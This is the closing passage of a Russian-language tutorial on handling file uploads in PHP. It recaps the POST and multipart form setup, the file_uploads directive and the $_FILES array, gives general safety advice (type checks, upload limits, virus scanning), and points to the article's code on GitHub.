Сегодня вы узнали, как происходит настройка и осуществляется процесс PHP загрузки файлов на сервер с вашего сайта или веб-приложения. Чтобы загрузка была успешной, форма HTML должна быть отправлена через запрос POST с множественным форматированием данных, а PHP должен разрешать передачу, как указано, с помощью директивы file_uploads . После переноса файла, сценарий, ответственный за обработку загрузки, использует информацию, найденную в массиве $_FILES , чтобы переместить файл из временного каталога в нужное место. Я также поделился некоторыми дополнительными мерами предосторожности, которые вы можете предпринять, чтобы защитить себя и своих пользователей от некоторых рисков, связанных с возможностью загрузки файлов. Чтобы гарантировать свою безопасность - проверяйте тип файла, наложите жесткие ограничения на загрузку трафика и применяйте сканирование на наличие вирусов.

Для тех, кто может быть заинтересован, дополнительный код для этой статьи доступен на GitHub . Вы можете просматривать, загружать или клонировать репозиторий и играть с кодом, чтобы лучше понять, как работает процесс загрузки файлов.